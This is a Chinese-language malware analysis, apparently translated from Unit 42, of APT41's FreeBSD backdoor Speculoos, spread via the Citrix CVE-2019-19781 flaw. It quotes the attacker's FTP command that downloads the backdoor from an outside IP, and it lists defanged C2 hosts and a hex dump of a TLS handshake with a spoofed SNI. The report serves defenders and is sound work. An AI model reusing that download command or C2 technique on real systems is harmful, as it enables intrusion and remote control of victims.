Speculoos後門分析:利用CVE-2019-19781漏洞進行傳播
背景
3月25日,FireEye發布了一篇關於APT41組織近期攻擊活動的文章。該攻擊活動日期為1月20日——3月11日,主要利用近期公布的安全漏洞利用來攻擊Citrix、Cisco、Zoho等網路應用。根據WildFire和AutoFocus數據,研究人員獲得了攻擊Citrix的payload樣本,是運行在FreeBSD上編譯的可執行文件。研究人員使用該數據發現了受害者遍布全球,位於醫療、高等教育、支付和技術服務等領域,包括北美、南美和歐洲。
本文分析攻擊活動中的基於FreeBSD 的payload——Speculoos。研究人員從數據集中一共發現了5個樣本,文件大小几乎一樣,但也有一些差異。這些細微的差異表明這些樣本來源於同一開發者,樣本可能被重新編譯或打包了。如FireEye分析,Speculoos是利用CVE-2019-19781漏洞進行傳播的,CVE-2019-19781是一個遠程任意命令執行漏洞,影響Citrix Application Delivery Controller、Citrix Gateway、Citrix SD-WAN WANOP等設備。
攻擊技術細節
在攻擊活動中,攻擊者利用了CVE-2019-19781漏洞來指導受害者應用使用命令/usr/bin/ftp -o /tmp/bsd ftp://test:[redacted]\@66.42.98[.]220/ 通過FTP來提取Speculoos 後門。攻擊活動中第一波開始於2020年1月31日,使用的文件為bsd,受影響的主要是美國的高等教育機構、醫療健康行業和一家位於愛爾蘭的諮詢公司。第二波攻擊活動開始於2020年2月24日,使用的文件名為un。受影響的包括哥倫比亞的高等教育機構、奧地利的製造業企業、美國的高等教育機構等。
二進位文件分析
Speculoos後門是一個ELF可執行文件,使用GCC 4.2.1編譯來運行在FreeBSD 系統上。該payload不能維持駐留,所以需要攻擊者使用單獨的組件或額外的一步來維持其駐留。Payload執行後,會進入一個調用函數來與以下C2域名通過TCP/443通信的循環:
alibaba.zzux[.]com (resolving to 119.28.139[.]120)
如果不能與以上域名通信,Speculoos就會嘗試使用備份的C2來通信——119.28.139[.]20。如果還不能與備份C2伺服器連接,就會用二進位文件中的硬編碼緩存來與伺服器進行TLS握手。圖1是發送給C2伺服器的硬編碼的緩存。
16 03 01 00 B5 01 00 00 B1 03 01 00 00 00 00 00 ................
00 00 00 00 00 6A CE 14 27 3F 24 92 AB 0A A3 F7 .....j.."?$.....
DB 21 1C D6 7F FD E3 A3 50 00 00 00 00 48 C0 0A .............H..
C0 14 00 88 00 87 00 39 00 38 C0 0F C0 05 00 84 .......9.8......
00 35 C0 07 C0 09 C0 11 C0 13 00 45 00 44 00 66 .5.........E.D.f
00 33 00 32 C0 0C C0 0E C0 02 C0 04 00 96 00 41 .3.2...........A
00 04 00 05 00 2F C0 08 C0 12 00 16 00 13 C0 0D ...../..........
C0 03 FE FF 00 0A 02 01 00 00 3F 00 00 00 13 00 ..........?.....
11 00 00 0E 6C 6F 67 69 6E 2E 6C 69 76 65 2E 63 ....login.live.c
6F 6D FF 01 00 01 00 00 0A 00 08 00 06 00 17 00 om..............
18 00 19 00 0B 00 02 01 00 00 23 00 00 33 74 00 ..........#..3t.
00 00 05 00 05 01 00 00 00 00 00 00 00 00 00 00 ................
圖 1. 發送給C2伺服器的用作TLS Client Hello包的硬編碼的緩存
圖 1是一個TLS 1.0的握手包,尤其是Client Hello。Client Hello包最重要是部分是請求login.live[.]com 作為Server Name Indication (SNI),表明惡意軟體作者可能嘗試使得握手是非惡意的,如圖1所示。
成功連接到C2和完成TLS 握手後, Speculoos會執行系統枚舉來對受害者系統進行指紋操作,然後發送數據給C2伺服器。用來保存信息的緩存為1048位元組,結構如表1所示:
表 1. 用於傳輸收集的系統信息到C2伺服器的結構
數據會通過TLS信道發送,其中2個位元組作為響應。成功響應後,會發送一個單獨的位元組(0xa) 到C2,並進入開始接收命令的循環。然後攻擊者會在受害者系統上執行表2中的命令。這些命令表明攻擊者是一個成功的功能性後門,可以讓攻擊者完全控制受害者系統。
表 2. Speculoos命令handler中的命令
研究人員分析的兩個Speculoos樣本功能是一樣的,只有8個位元組是不同的。這8個位元組的變化是作者將uname -s命令與收集系統的hostname命令替換。圖2 是這兩個Speculoos樣本的二進位比較,表明了這8個位元組差異。
圖 3. 表明2個Speculoos樣本二進位文件的差異
影響評估
允許非授權用戶遠程執行代碼的漏洞是一個潛在的高危安全問題,尤其是那些聯網的系統。攻擊者利用這些受漏洞影響的聯網設備可以安裝定製化的後門。因為這些設備或應用默認都有企業級系統的訪問許可權。攻擊者可以嘗試直接遍歷系統以修改網路流量,執行惡意行為,比如注入惡意代碼、執行中間人攻擊、重定向用戶等。
參考及來源:https://unit42.paloaltonetworks.com/apt41-using-new-speculoos-backdoor-to-target-organizations-globally/